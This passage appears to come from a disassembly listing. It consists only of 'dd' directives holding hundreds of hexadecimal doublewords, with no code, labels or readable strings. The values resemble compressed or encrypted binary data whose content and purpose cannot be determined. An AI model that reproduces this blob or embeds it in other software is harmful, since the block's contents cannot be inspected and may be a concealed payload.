		dd 0DF2BDB00h, 6B94683Fh, 3AFD12D9h, 0E5BA006Eh, 0DBDEF556h
		dd 79D8330Eh, 0D7D3C027h, 3FB108h, 0E9FA239Dh, 67BF6EA9h
		dd 0EEA2F02h, 43045FD8h, 0CDEEA04Ch, 4109A53h, 0FEF8F6E6h
		dd 0A1A4D01Ch, 60006AFFh, 0B5D11325h, 0E05390C9h, 447E0774h
		dd 0D0DF931Dh, 0A06F6277h, 48CDBE1Bh, 6990C06Eh, 0A3280036h
		dd 229D1CDEh, 0EF02733Ch, 4B76AC39h, 816C62FEh,	9CD2FF2Dh
		dd 0E2914AE0h, 0D33A01DEh, 0F0694067h, 7EB88BD1h, 1BC887E6h
		dd 0C06FA443h, 72C6DDD6h, 4FB818h, 6873910Ah, 4EF676CEh
		dd 0E7752207h, 346AA14Ch, 47973105h, 58548C0h, 1371006Dh
		dd 5D4C49B2h, 0ED001A81h, 0AD19A308h, 3F7CB61h,	714AA9D0h
		dd 7A8AC33h, 789212E0h,	7CF422A0h, 0F6B3EB26h, 1F003A1Dh
		dd 62DD5388h, 46F585Ch,	8E61E106h, 0A0C072BBh, 2D786A09h
		dd 0CB8A0003h, 42AFEE81h
		dd 9900DB20h, 0A7C9D492h, 3DE3AC6Ch, 4580518Bh,	0FCC2624Eh
		dd 300191Ch, 0B7CB0506h, 8EE454h, 7B7E58F6h, 3CDCAD16h
		dd 7589DD00h, 84424611h, 0E46D009Ah, 37F3FAF1h,	240E3592h
		dd 0CE806A25h, 96D46C93h, 70F01C4Eh, 0F4E681C0h, 8043AB04h
		dd 9AD76E18h, 0BDB0F5h,	6A1E9CF6h, 8CFC1F11h, 4D3C917Ch
		dd 0B2B9007Eh, 19714BABh, 72D14E6h, 0F30E9077h,	2780C68Eh
		dd 6CC1817h, 63266F01h,	0D65190F5h, 449E508Bh, 80086C25h
		dd 0F3508859h, 9FFD000h, 64596036h, 955D1FE4h, 40911D52h
		dd 0D38DA2A7h, 0AA0E9AE8h, 0B3553h, 6A3C76D4h, 0DE40C0DDh
		dd 2027A3D5h, 0A8E91B2Ch, 850B880Fh, 0FF85497Dh, 0C1040450h
		dd 0F7037024h, 120931CCh, 4010117Bh, 0EBE57128h, 0E7003C75h
		dd 0ABF49653h, 739314h,	941182AAh, 64E16A21h, 8730A167h
		dd 406743C7h, 3FBC70C0h, 0FC94004Fh, 78C3ABA9h,	0D22A7B3Ch
		dd 0A3142874h, 7CE3D75Bh, 0AB05630Ah, 0CBDC089h, 0A9249248h
		dd 58D02C96h, 36021C8h,	8AA2AA2Fh, 42DFA804h, 9141EF3Ch
		dd 0A0735DCDh, 3A009058h, 77A91FD1h, 0A117A7E1h, 919242A0h
		dd 0A4900AB5h, 7E17427Ch, 16C508A3h, 7B4E7902h,	489DC3E1h
		dd 28C7AAB8h, 98493CBh,	75184D11h, 13D70803h, 50097814h
		dd 74341048h, 0A3AA70F0h, 79CCA8A8h, 52557418h,	3B82738h
		dd 992235D1h, 0DD98166Fh, 9E619B66h, 87B2F4A9h,	0D01880F6h
		dd 2E057FA6h, 0C2D8F93h, 0CA17662h, 0B9B01D30h,	2CFAAF6h
		dd 7BAB5F5Dh, 0CCA08641h, 0BE622AF2h, 0E30C9CA8h, 0F46C1201h
		dd 723577Dh, 371C7429h,	0C4100022h, 3D5D707Bh, 0D1A0D73Fh
		dd 946E0CCh, 0B9522818h, 9AFD11h, 0FEBC2202h, 748EA427h
		dd 0BD52241Ah, 0DAC40469h, 7D463088h, 0E18F0A70h, 48A05207h
		dd 547A07F8h, 90F9A41Fh, 9A924D00h, 0FA06BD18h,	92F39510h
		dd 0FECA020Ch, 2EAC70E4h, 62A94463h, 21DC3023h,	0FCF68C03h
		dd 0A0BEA420h, 0D494ABh, 6F08EB8Ah, 1B5D2BC8h, 0D57CC92h
		dd 0B22CC140h, 68A1AA06h, 780F9040h, 0E793F00Ch, 1FE91820h
		dd 6A98EA1h, 689AD11Dh,	0F2780DE0h, 548A20CAh, 60D910B1h
		dd 2122BC42h, 20B018DEh, 0D660AB44h, 8164E40h, 0C0210F20h
		dd 0A4952D13h, 41528501h, 20D3F6D6h, 50501538h,	0DB42110Ch
		dd 5118A874h, 0FAA488FFh, 90C0E40h, 27B21B56h, 0F38E8020h
		dd 0AC034948h, 9E08671Ah, 9A081912h, 0F0DF2078h, 0DB002A4Dh
		dd 9E9313F0h, 26A47B2Dh, 344BF9Ah, 0DF7E5A85h, 86706804h
		dd 5CC6D056h, 10FCA3AAh, 0DFB12470h, 0AC404801h, 0B60C6822h
		dd 72DE488h, 79DA9D4Dh,	0B9C1AF6Bh, 85DDCF6Eh, 0BEA3661h
		dd 97A9CC22h, 809D1130h, 97D36137h, 7C5B1EFCh, 0B795CD63h
		dd 0B8509158h, 44481280h, 6E4382ACh, 0E0009C22h, 3C5E4D19h
		dd 0B856B99Fh, 85A61E79h, 1CF9662h, 0C6F3700Ch,	28243034h
		dd 4C1B210Ch, 9C1FDh, 72FE4958h, 8B8EB2A3h, 25B3D33Ah
		dd 33780704h, 11504E87h, 662A1BCh, 460B08DCh, 630CA823h
		dd 0B8B6B984h, 901600ABh, 6CBD73AFh, 5A48A6C4h,	831E7364h
		dd 0A540AE86h, 0BD50A138h, 0EDB40399h, 448A1C16h, 36FCEBF0h
		dd 38583100h, 4E8CE480h, 1DA7B85Ch, 80019F32h, 596541BEh
		dd 0CA0FA2ACh, 0A07A2A16h, 6B5E5FF4h, 8B3E00B4h, 0A30E355h
		dd 50BDFADEh, 0B3DB1D54h, 4DB54031h, 0E056F48Eh, 20916319h
		dd 0C6CC9F30h, 0CFC100A8h, 7584A247h, 9B71E059h, 0F31440h
		dd 71EE2CD5h, 761A6212h, 0EDA95901h, 4E2589C4h,	811204Eh
		dd 3D419D2Eh, 0C4FA8FFCh, 0FF53080h, 5E44A163h,	18AD500h
		dd 55F13A56h, 0EB4007BDh, 92485F87h, 5400C77Dh,	72340694h
		dd 1DBF038Dh, 1266DC29h, 8BA94FA1h, 32A1120h, 80A1FD8Eh
		dd 18CE27CDh, 40C8125Fh, 0BB0166F9h, 9A6007A3h,	3DC01676h
		dd 0C4F606E8h, 99F17E21h, 0F50EB400h, 5418D6DCh, 876D1DF2h
		dd 0B9BF0C55h, 57053120h, 822705F5h, 12B5F180h,	1E5018AFh
		dd 2BA520BAh, 0EF533007h, 981347CEh, 0EC20B021h, 563E00F1h
		dd 0BA344092h, 90A05201h, 62B069EDh, 0A8B42217h, 9056C303h
		dd 70109E2Eh, 17070761h, 93A5F6A9h, 848C698h, 0BF20609Bh
		dd 3D3065Eh, 62A09120h,	89151D7Fh, 8C4D7Ch, 4FE24439h
		dd 98033Bh, 0CC238801h,	0DF1AA82Ch, 0B7CD1B0Ch,	1DC181AEh
		dd 0C70A4706h, 87B1D2B0h, 0D7F7805Dh, 0CEE5B455h, 0DED49490h
		dd 0FD7F8800h, 0CB51025Bh, 757DFEC7h, 345D807Ah, 0B4806361h
		dd 0B18F7E93h, 9C1409h,	0B04360D5h, 1D7FEE28h, 0B2DD910Eh
		dd 8B56400Ah, 0A42BBA90h, 3824688h, 0AE130664h,	2531DCD6h
		dd 0EB9880EDh, 51F206C2h, 9D4E1D69h, 0D8EE0135h, 6F9ADC1h
		dd 43551988h, 0F0D9C9E7h, 0FB3EC306h, 4821E0F1h, 36FB0E5h
		dd 0B108B727h, 818BFCBh, 7720C64Fh, 17B21C4Dh, 3443007Bh
		dd 0AAB39AC0h, 5580E415h, 0FCDC00A4h, 0AF5EB82Fh, 0F6C70062h
		dd 0FF2EE993h, 31028248h, 22BAE8D6h, 7044CFh, 3DD89E2Dh
		dd 0EE73E379h, 400F7C24h, 28A8F500h, 9B2128Ah, 16C4EF11h
		dd 0F5835830h, 80D6E511h, 2E80A988h, 3EADF56Ch,	7F60090Ah
		dd 0CB80B89Ah, 0CB40DC2Fh, 0E60ECD00h, 86EBD689h, 0C8092AB3h
		dd 28446BCh, 0A921078Eh, 4447C6h, 2C06FF81h, 9029D459h
		dd 0C117F82Bh, 0C31B1AE8h, 5823F0D9h, 38E91A57h, 5191F241h
		dd 0BCECD62Ch, 6FB81E0h, 5F22E11Fh, 7F05CC0h, 0D3F20C42h
		dd 148C30A9h, 76003AD0h, 0B7DC56FCh, 49A5A04h, 387BEA46h
		dd 265A8426h, 0AEE2A838h, 87645E52h, 92F021EEh,	12F741Eh
		dd 5B57CD3Ch, 3043127Dh, 28C4F48h, 3D063F1Fh, 4E191217h
		dd 3FE08613h, 2D00F74Bh, 0A68A23B1h, 0C09A7D47h, 0ABDE9D21h
		dd 78002214h, 15EE24D7h, 38A8CCFh, 0B812DFB3h, 992684E1h
		dd 56469C79h, 0F2073A24h, 75BFE780h, 57CCC317h,	942BDE00h
		dd 0C2666887h, 0BD4E1A0Ah, 8206F8FFh, 0D60741EEh, 0F0203CDAh
		dd 467B1282h, 0F56F0424h, 62E0D691h, 0C05224BCh, 77AB837Ch
		dd 6C882500h, 89DCB6EDh, 0E03D0068h, 0CDE96A3Bh, 0E1C05BBAh
		dd 5465C41h, 0C859066Ch, 1847BB70h, 74045800h, 0BD02AC9Dh
		dd 21E9000Ah, 3B5657B4h, 0A2008C4Ah, 1F7F4478h,	725C32Bh
		dd 87503C35h, 73CF4053h, 9A0158D6h, 0F3E63E0Ch,	4B314863h
		dd 0C18EBC41h, 6CE2E422h, 40E730h, 0D607178Bh, 0C2E0E688h
		dd 570D4607h, 286AC1B6h, 5AB0B840h, 83EF2127h, 22216098h
		dd 0D9B20F38h, 0EC8026D2h, 69FE1EC7h, 0E8453B09h, 0A4AC1DC4h
		dd 39ACA968h, 1A0DDA8Bh, 0D01DB600h, 0F518218Dh, 0C97956D3h
		dd 7B3712Bh, 302C7799h,	7A2940F8h, 0BF1D725Ch, 9E406582h
		dd 87512850h, 56060078h, 8B4BE3D9h, 0ED26EC26h,	0D4408876h
		dd 92542E69h, 7021103Ch, 0FE0079C8h, 0A0793C6Dh, 757D6Eh
		dd 0FC5E423Fh, 0ADA8FAABh, 6B280500h, 6C2F734Bh, 48491CBh
		dd 983B485Eh, 345C1B9Ch, 0E4B72CACh, 121C3C6h, 0DE341372h
		dd 0D30E96E5h, 0ECF49900h, 296F5642h, 912CA04Bh, 21028677h
		dd 673D8C3Fh, 10B01912h, 3F1974h, 44482E39h, 0D60DFBEDh
		dd 7DE93403h, 0E253FFADh, 0C054923Eh, 523D8928h, 5930281Fh
		dd 3F1E85D9h, 554A3300h, 1379391Bh, 65350A36h, 80F02287h
		dd 68CD5160h, 0F300ADE0h, 0BA961BBBh, 0CE966h, 0C109299Eh
		dd 69AE9A7Bh, 22A5C806h, 2A81A88Ah, 0F0BAD3h, 58891142h
		dd 0AECD4D49h, 0B9133Ah
		dd 0CFD24569h, 98989CE4h, 0C064538Ah, 24706382h, 1CE18465h
		dd 1108C4EDh, 789A8A00h, 0E3F24D0Ch, 5EB3074Eh,	30D29934h
		dd 5CDD0176h, 0A34124h,	0BF40D51Eh, 552CF3E3h, 381D304Bh
		dd 790B6288h, 0BADF7A05h, 8600EDF6h, 0E6EB5EF1h, 349FAB0h
		dd 3121AA5Ah, 0B2F81297h, 0B97A51E1h, 0AE8E3E00h, 759C6986h
		dd 0ECEE3B7Ah, 402D7600h, 4C6E5B4Dh, 0A4D21800h, 5897DEBFh
		dd 1A9E126Ah, 988D009Fh, 0BCE2C823h, 0F8205E00h, 0D91743A7h
		dd 911F0638h, 40723961h, 3E6A8F07h, 0DFD03630h,	452E1Dh
		dd 70CEA4AEh, 0E73D94CCh, 6206DD03h, 0E622ECh, 39D6A681h
		dd 908CCB6h, 8012953Fh,	2F9A8D17h, 0F8E621ACh, 60D701E3h
		dd 7CA9E042h, 3FFDF4F9h, 402BB802h, 4071E4C6h, 673E2Ah
		dd 2ED121CCh, 0D6F6541Fh, 96408601h, 2B0BFFB4h,	0C7C8080h
		dd 996E13ECh, 36567E1Dh, 0E5B28F7Fh, 2CACE0C6h,	0F1C149Fh
		dd 88A06FB7h, 165B005h,	89853C80h, 9F340C2h, 4D00A481h
		dd 0FBDE18B1h, 7C3E9C39h, 28DB0EF2h, 2E8035E6h,	0F6F910C6h
		dd 0DFB65807h, 7720D746h, 9EF4Ch, 0DAE7D421h, 0C827AA9Dh
		dd 80A0457Ah, 9701328Fh, 54D49B35h, 0E1D0D08Eh,	33E73062h
		dd 41F121C0h, 22DBF400h, 0AF8E3A93h, 1260015Ch,	0E142ACCBh
		dd 8103D379h, 9C9FCCEAh, 0A5DDBBAEh, 0E269BC0h,	4CB6E06Ch
		dd 0B008BE6h, 44B2723Eh, 0BD2C8966h, 1400AFF0h,	7531A34Eh
		dd 79CF0E96h, 0B10042C8h, 9060AD12h, 0D03E5F01h, 3DF4F7C2h
		dd 0E2990020h, 1EB50731h, 0D0865ADEh, 30B27C1h,	77708200h
		dd 0A07BF960h, 0FC9A0038h, 0C29C99C5h, 2F004CE6h, 729FC9D1h
		dd 20CC34h, 445A3DCh, 4AEC4624h, 0AC0BEA03h, 3C6759E8h
		dd 0EF00C140h, 0FD17583Bh, 5C00E00Eh, 0EE9F0710h, 0BBC4F8h
		dd 0ADB08FFh, 7B265499h, 82584804h, 80FAF5h, 7EF1044Ch
		dd 78549996h, 1786A8C3h, 79FB3AFh, 0C2B5DAF4h, 6CC6F205h
		dd 1CC59348h, 14650730h, 3B6D0078h, 0FEF0A4B2h,	0BD00044Eh
		dd 367E1520h, 5CA60A74h, 6500C4CBh, 12713D81h, 414C0CBEh
		dd 56E40194h, 0E0820A45h, 0D800282Ch, 0DA4F18C3h, 87448104h
		dd 0C0050970h, 18800A55h, 0D439A5EBh, 0A152B100h, 0FD7F200Dh
		dd 0B6D0097h, 7AC4C7CBh, 80535704h, 363C8420h, 0C7D42663h
		dd 0F068F74Bh, 7BB27C86h, 238C1F4Ch, 705036Bh, 0A6CAA920h
		dd 88647B19h, 65C00D8h,	3DD7228Ah, 535D6C8Bh, 0EC4C90h
		dd 78FCE067h, 0D8E7BBh,	0B93DF03h, 941DDD91h, 0D700027Ah
		dd 96A07D23h, 7AA58E32h, 10C400CEh, 64796876h, 0DEE524C5h
		dd 87695760h, 784F3930h, 2BCAF9h, 0F575F20Fh, 5CED311Ch
		dd 0F40DEE2Eh, 0E929400h, 31F947DDh, 892940CBh,	4EA111Dh
		dd 0B411E612h, 11E91D08h, 0FA1302CDh, 438B44A4h, 3C758A00h
		dd 4900125Bh, 583223A7h, 3324BBh, 929377C9h, 8A983C90h
		dd 5C80417Fh, 17480135h, 99E11A7Dh, 0C3D7D088h,	0E33E7E17h
		dd 0F28D4400h, 5E6ED97h, 2CCB836Fh, 0C50400BEh,	12B916BAh
		dd 3095A300h, 0E7D803F2h, 0C3B300FBh, 689D82BBh, 0BF001FD3h
		dd 6F4E6489h, 1D8AFD4Bh, 8F22D085h, 2C8034EFh, 0B2E492D6h
		dd 3FDC4C00h, 7146F5CEh, 0F4625CBFh, 5D9D8F06h,	373E58E5h
		dd 1FCE00D9h, 610E1482h, 40830028h, 0BA2FC1C9h,	0A0180A9h
		dd 0FC5FDC5Bh, 8BF0949Ah, 7D150183h, 9F3F6E8Eh,	1DD3D09Eh
		dd 0B807215h, 6B5200FCh, 32F6837Bh, 0F19F0098h,	0D87DAB9Ch
		dd 0A27C8297h, 0E0192700h, 0B1FBDCA3h, 3B5B00A0h, 0B668DE60h
		dd 28002EA4h, 0B26CC4E2h, 9F3959h, 45CDE9CBh, 4AB8A518h
		dd 0B7A93103h, 0D8D44BAAh, 39867ADh, 0B22CDD5Ah, 0D2A855C3h
		dd 0DF50E30Bh, 0F23EF404h, 0DE4100A5h, 0EA827ADCh, 84EE5020h
		dd 0B1C90073h, 7047953Ah, 0E20006AFh, 0FAA03614h, 1F72D04Ah
		dd 7DCC2C22h, 0A8998580h, 56E38859h, 0A060DD00h, 0BF3F65Dh
		dd 16BBEC1Eh, 0BC6312EFh, 0AECE005Bh, 7A60EDEEh, 0EA2403F0h
		dd 7C056F8Ah, 5B4BDDA8h, 0A8793D01h, 0AEB45EFBh, 6FF87B70h
		dd 97F077h, 4EB78F99h, 9C0061C7h, 0D9CF39A8h, 7071E6C4h
		dd 0C0D5FA7Ch, 5B2BF138h, 0A307FF44h, 2994FEEAh, 7134B10h
		dd 765D1E63h, 0CE0E80B5h, 0D82F5CC0h, 39FA093Eh, 0A133800Dh
		dd 96E1C679h, 844153CBh, 0E0643C00h, 6431E68h, 78B3200h
		dd 4918C926h, 81E50038h, 0A0B8D398h, 20E9BA52h,	290ECE4Ch
		dd 80DD663Bh, 0BFCD07BCh, 4B7246h, 90BA1BFDh, 5F51D9C3h
		dd 0B61FFBE2h, 99008662h, 632C5BF3h, 3287865h, 41E01307h
		dd 48C8CA8Ah, 2400ADBDh, 42546311h, 187426h, 46539BD6h
		dd 39138601h, 9A00E772h, 3EE6F2EBh, 0FE52BF9h, 3C78C029h
		dd 0F02E9800h, 1A787432h, 2F9DCD00h, 0FA1E453Dh, 0F3B8187Ah
		dd 0B0C709DDh, 0AF41B700h, 0A18E4F6Ah, 1B9A0396h, 7BFFC28Fh
		dd 20DFC989h, 51CB343h,	0D5926D88h, 543FF000h, 16453E4h
		dd 210198B0h, 40AE8246h, 0E89342E4h, 3300C6F2h,	28EAFE35h
		dd 2CF84989h, 167FD48Dh, 48AC0F20h, 0A3780340h,	0FB776FB3h
		dd 0D6A0BA00h, 3CD08F50h, 93FF00BDh, 0D25910Eh,	95009B61h
		dd 9D8AE859h, 0B0414BD0h, 5A7C3C35h, 0EE9E850h,	0A5DE2431h
		dd 40351C53h, 3AE3216Bh, 0AE3B5253h, 7F4F12C4h,	9CA6400h
		dd 14C05A83h, 0E8D3BE58h, 0DA591900h, 92BAF4A5h, 0D7282C1Eh
		dd 0FC253C0Dh, 0DDB560h, 49AA4CD9h, 0D423A457h,	0C314CE18h
		dd 1EE93D8h, 3B11B7DEh,	0C8913321h, 0F900DCCCh,	0F2C27AAFh
		dd 78779CE8h, 0C7D400DDh, 0F137A89Ah, 0B300A44Ah, 44CED603h
		dd 385251C4h, 8C80FC9Dh, 1862E36h, 35006981h, 1DD8957Dh
		dd 4AE103Ch, 53EDE609h,	0DAC09077h, 7300F3F5h, 4170F7AAh
		dd 0A051C3Bh, 0DEC85ED1h, 8B6B0090h, 768D7948h,	0B521FB00h
		dd 5FEBF562h, 1FF90072h, 3EF48FA3h, 0B11D53F6h,	0E3C685A5h
		dd 30884FFh, 6510C509h,	0C0DC5DB6h, 0A3E5D1BBh,	0E298A07h
		dd 41B02EA7h, 0E685E11h, 2D671238h, 0F49CC482h,	0F860CC9Ah
		dd 7E00DD16h, 0FED7BCBDh, 0F053170Bh, 7E2E2A1h,	0EE48501Dh
		dd 0AE0960DAh, 730EB58Ch, 0A78D2D3Ah, 0C217C8F3h, 860097C5h
		dd 2CB6DAEFh, 0D1BA0BBDh, 0C0021D5h, 8D67DF8h, 0DF59FE00h
		dd 1B48ADACh, 8098D2h, 0E101E8F9h, 4632C19Eh, 0F68B700h
		dd 0E960EF2Ch, 640B00E5h, 403F2BEEh, 67002F94h,	147D56BDh
		dd 16F1F838h, 0E62602h,	6D5741C1h, 0F401A62Bh, 4605763Bh
		dd 667160A2h, 91DA7C0h,	99E9848Dh, 55DAD400h, 4A984F77h
		dd 0B74E3400h, 0DD518CCAh, 2D870F46h, 5607BBB9h, 981AA036h
		dd 0BE366386h, 0EE0935h, 164BA6D1h, 7B68B88Ch, 746AEF2Ch
		dd 48FB531Eh, 2282C07Ch, 0B8E19770h, 5A900A9h, 273C4009h
		dd 0AA4D99BCh, 9096021Ch, 408C51D1h, 1AF3A9Ch, 0D9E82EF1h
		dd 0F088A494h, 0FE0058EDh, 0B64B67AAh, 1629F58Ah, 3E2E50Dh
		dd 91609BBAh, 0B85E9EE8h, 80B2383Ah, 62EBA6C8h,	7849CD50h
		dd 0BB6A0004h, 1A42472Ch, 6B00531Dh, 0D8BE5961h, 996DC7Bh
		dd 0D577F282h, 0A1EEC880h, 8F07B3DBh, 2A0DA38h,	0E0AF3C83h
		dd 0AAF0B4h, 9037CD62h,	4DABDD65h, 0CCA41C0Ch, 16630949h
		dd 42D73006h, 482C4198h, 60E4FDE0h, 0D4008A7Dh,	81221C47h
		dd 4CAEB8AAh, 1C7A090Dh, 0C0108F44h, 0FD12865Ah, 61B0BBF2h
		dd 0BD497716h, 81988010h, 7079D18Ah, 58C09D12h,	0A300C51Fh
		dd 0EEA78604h, 0BB34Dh
		dd 6CD66720h, 0AFABFCA5h, 0B2B47400h, 381649B9h, 53FF005Ch
		dd 30F62AC5h, 44001190h, 85A65F45h, 389D61h, 14073C7Fh
		dd 18E4A577h, 63C8B107h, 47830927h, 0CAD0C06Eh,	0C9C70E60h
		dd 0FC474B8Eh, 4D0791E6h, 93F6FC45h, 596D8500h,	0AB861B68h
		dd 161F452h, 0FEA973C7h, 0BA97E93Bh, 166CC70h, 7ABE272Dh
		dd 0FBD8B428h, 0C24E0019h, 53ECE57Eh, 8C04F187h, 379D6D04h
		dd 0F03A24C0h, 0EC7E498h, 380D4B43h, 70038D87h,	3E1E32DBh
		dd 1F791C00h, 8CC89B5h,	0A5AE0C60h, 0E0866B4h, 1996CA00h
		dd 2E6BC515h, 0CF440053h, 0FE60EBC3h, 0A901D082h, 5278160Dh
		dd 5025EA73h, 8429A0EBh, 60E307C3h, 0D72E669Dh,	4EB2A089h
		dd 58006506h, 79869107h, 7C42813Eh, 0D4E801B3h,	2FCCA920h
		dd 98C370EAh, 0C7737600h, 0BADC6F18h, 0ED3C0317h, 0BDD0AC2h
		dd 89639AD8h, 752CB400h, 92AA9DB3h, 3D3F484Eh, 6D45C200h
		dd 4C19F13Eh, 0ECDFD500h, 0B51DD3A4h, 3AF801B8h, 0D5BC50Eh
		dd 361AD07Dh, 0DD1F3703h, 0C01C3012h, 0F69306h,	0DB9D7483h
		dd 0C8D72131h, 913D2000h, 0E6E737C5h, 32E8F5h, 2EFD3881h
		dd 7830F106h, 3E8209C0h, 2AAAF5h, 4821CFA3h, 0C507BFE8h
		dd 0EC749100h, 0DA782723h, 8E2D3B34h, 0B37FA580h, 2E5EE9CFh
		dd 2B9C7E00h, 48036A52h, 0FC1200BEh, 44719739h,	8600B70Ch
		dd 2D50994Bh, 7ACF92E6h, 0C67832h, 931BD9Ch, 1BBEEFE2h
		dd 0D2504673h, 0AF24CDBCh, 7F03BF38h, 0A8F9B74Fh, 4C3357h
		dd 8906C6D8h, 0DDA3A7FDh, 0A9C19500h, 8BF04B9h,	185300EBh
		dd 0E1B6011Ah, 0A6FE756Bh, 932B6C00h, 0F8EFD28Bh, 0FB1F0168h
		dd 21C8A335h, 5A0ACC28h, 88D94100h, 980820Eh, 34CC00AAh
		dd 5B9D30CEh, 600CB6A3h, 60D223BDh, 16611C86h, 0F18E005Ch
		dd 112EA29Ch, 34FF2A00h, 5E276BDCh, 0DE491F74h,	7E30C0E0h
		dd 79544469h, 0C625410Fh, 0E8DA07Ch, 0E2D755h, 0FB615FF9h
		dd 87AF7DBDh, 0EBC23500h, 9EA0E34Ah, 4230C0F8h,	4B4678C7h
		dd 9ADA0200h, 0BB3F0F88h, 409100CEh, 0DCA223D8h, 7800BF50h
		dd 0E62A1AD0h, 7DE1CA53h, 0BD34034Ah, 0FA56630Ch, 17428DB0h
		dd 62945150h, 9F05AB42h, 80932A16h, 0F70D4F20h,	91C01502h
		dd 0E0B9359Eh, 0A1B426h, 404EB5CFh, 8558B3CAh, 8995FC3Fh
		dd 7FF23h, 7DA41044h, 0D881009Ch, 71669B90h, 9960026Bh
		dd 0E8144638h, 3D9200F6h, 66B65224h, 0DD00A6E9h, 0AE2397E2h
		dd 0F426A38h, 0E86270E6h, 0F3AB0Fh, 227E56AFh, 961EE7A3h
		dd 644144EBh, 0F9150589h, 24589FCCh, 4386F7h, 1A0B85CAh
		dd 3C0FFC43h, 0EF849AF0h, 30D840F3h, 0B8D8366h,	12C16094h
		dd 68375080h, 0C0035B0Ch, 24EDE2B5h, 0C5F40051h, 0D7592319h
		dd 6A006839h, 0EB701EE5h, 7883A038h, 0A5780096h, 0BDA38C33h
		dd 5600B1DEh, 0AF3DA81Bh, 0F40B42h, 77E19B84h, 0B5A2A483h
		dd 9839D90Ah, 4B009470h, 4CE03C95h, 0D34F00EEh,	0D5519401h
		dd 2300376Bh, 4E181FD9h, 305BDECh, 9484E4BCh, 9003F71h
		dd 738F64D1h, 70816934h, 9EAA125Ah, 0BCD8001Ah,	675CEACDh
		dd 0D0999D0Fh, 39A2A05Eh, 0A77CE8h, 0BF20D655h,	0DCB12B57h
		dd 0EC60ADF2h, 3AD1BB6Ah, 0BCAA007Ah, 96E09328h, 5D0EA96Dh
		dd 0E91CF8Ch, 52C97DB9h, 53A480F3h, 3901B426h, 6B817792h
		dd 27C7F7EBh, 5238C81Ch, 65D41803h, 8B5BFEh, 0F0E47640h
		dd 0CE993A23h, 0A8191C1Ch, 0AC041D80h, 90E2F3BAh, 970C09E7h
		dd 1E836755h, 49C0A6FCh, 0E700B731h, 19681BC6h,	7922E5Dh
		dd 0F57CFB8Eh, 36920h, 0D6F8C608h, 10C0B115h, 0A7F35F13h
		dd 0DCDB0007h, 0AC106AC2h, 244D89D0h, 2E4600DCh, 5EC6C48Ah
		dd 72F60009h, 0EBF522A3h, 9900A06Dh, 35FEBA0Ah,	23B361Dh
		dd 12AAE813h, 0CC40B8F5h, 0AB00BF74h, 4C085851h, 3FE321F1h
		dd 1B80F8C3h, 630EA2A3h, 0EA039978h, 0C6226AF0h, 0F55DB86Fh
		dd 28350080h, 89316148h, 0EB004C11h, 0A27E3B1h,	2456F8DFh
		dd 0D05D71h, 11DBB42Ah,	397AA350h, 8EB96F1Eh, 8AAD4500h
		dd 4C700Dh, 49755F2Fh, 0B0B76165h, 9770A31h, 0B8E0FC41h
		dd 4AA50015h, 1FBBFDF5h, 4E02B62Eh, 0A1610D7Ah,	0ECF8E033h
		dd 0B6BF0D1h, 48A48224h, 0D400C58Eh, 0FA1718FBh, 0D59A4B00h
		dd 7E9FB816h, 0D7F4BDh,	0E211C39Dh, 0DFAFC0FFh,	6A940601h
		dd 7D9CF691h, 0BBAFAC4h, 0C0C33CCDh, 2CAC4420h,	0B4008D9Ah
		dd 9F7AA46Bh, 0CAA8F8h,	0A25A1B9h, 4A91E7Bh, 0AC26AEE8h
		dd 6A1F13C9h, 0ABF870C3h, 0E462908Ah, 0F4D5009Ch, 8922F9E5h
		dd 3C9AB067h, 902ABFAh,	86C64BF3h, 0D9DD619Fh, 75CFCCh
		dd 3D5E762Dh, 8F2381AEh, 0C799700h, 0F007EB37h,	5AC807E5h
		dd 50D1A2FFh, 9BB0AAF1h, 1B91C00h, 0E3D64D2Dh, 12CE3E88h
		dd 73475E82h, 0D0800616h, 0FA6D4C95h, 0DF00F2EAh, 0D589F73Bh
		dd 0F99E99E5h, 0C036999Eh, 26F35B18h, 4B2C5E9Fh, 0D7189D27h
		dd 78AB5520h, 41F63Bh, 56870CE3h, 6D909627h, 0D0B0F016h
		dd 0A3556843h, 2F80E73Bh, 0F50A71Ch, 0D897058Bh, 0F4488100h
		dd 5C3C4BD3h, 0C0583Eh,	910F066Dh, 3E5A7980h, 593BE21Ah
		dd 94C90A8h, 2AF7ABAAh,	0B5167480h, 9A00E663h, 0CBC7A3ADh
		dd 708DBBFh, 0A2EA4C73h, 50D3D00Fh, 191D7CC8h, 0ACC0B088h
		dd 2A6615C4h, 0CC75006Fh, 1FFF6879h, 58000867h,	19553BEFh
		dd 0E5F3607h, 65D283E1h, 0BA40A440h, 4B01EE6Ch,	0BDC5686Eh
		dd 3FFC95EDh, 75827F5Fh, 448E0EEBh, 0B414BE34h,	0F283D800h
		dd 46BCE3CBh, 589EED07h, 0D640F3FCh, 0E8BD53EEh, 1F145C93h
		dd 0A8511300h, 3733F234h, 53E0EA00h, 424E7030h,	282D759Bh
		dd 5580E838h, 0E40484ACh, 0BB042Eh, 64C4EF68h, 0C74A7CE0h
		dd 79F2B218h, 0D7B5F000h, 0AD007FAFh, 0A1792DB9h, 0FAC0E5C8h
		dd 0B4F20C80h, 0BB29CBAEh, 5C8F2284h, 22057422h, 6F42CDD3h
		dd 2175E911h, 0ED40868h, 0AA84D390h, 0B17C4F77h, 2178DA11h
		dd 72223CE7h, 220E3022h, 0B427352h, 2228EA28h, 93500FA4h
		dd 9A447F14h, 98CA2055h, 8111D842h, 628873BDh, 0CE070056h
		dd 81340688h, 6A727BAFh, 0B79E1100h, 4B354F36h,	0A82801B0h
		dd 80B6CA4h, 6B89EC49h,	64238407h, 0C3209DAFh, 2CA6ECh
		dd 36AE385Ah, 78138D18h, 54401D26h, 5864280Ch, 83945CF3h
		dd 0A6B8EC00h, 21970E3Ch, 3D0FDE1Fh, 0FC71F640h, 79136625h
		dd 629D6033h, 92A0F793h, 2730400h, 7490FA7Fh, 1F309841h
		dd 0BF8D01h, 764ED66Bh,	0D00004E7h, 8C671806h, 7A5F3424h
		dd 9DD0896h, 9C3907FAh,	0BC40ABF1h, 1D837DDCh, 0B70B00EEh
		dd 63861433h, 0CB7CE910h, 0B9A19600h, 4922FCB1h, 4600E9D1h
		dd 0C004A1Ch, 1DE5AC8Fh, 13ABD41h, 0FDB8CA70h, 0F50A4068h
		dd 0B6D4F8E2h, 30978200h, 0F926246Fh, 90B1C92h,	71CE00E6h
		dd 5522B058h, 91300767h, 100D609Fh, 0F22C7828h,	938A008Ch
		dd 55D494E8h, 54013F69h, 0FCFF2FEDh, 0EEFC1713h, 1C4D06A5h
		dd 28EBB353h, 556EEC00h, 5ADC663h, 73BA00D7h, 1DD30910h
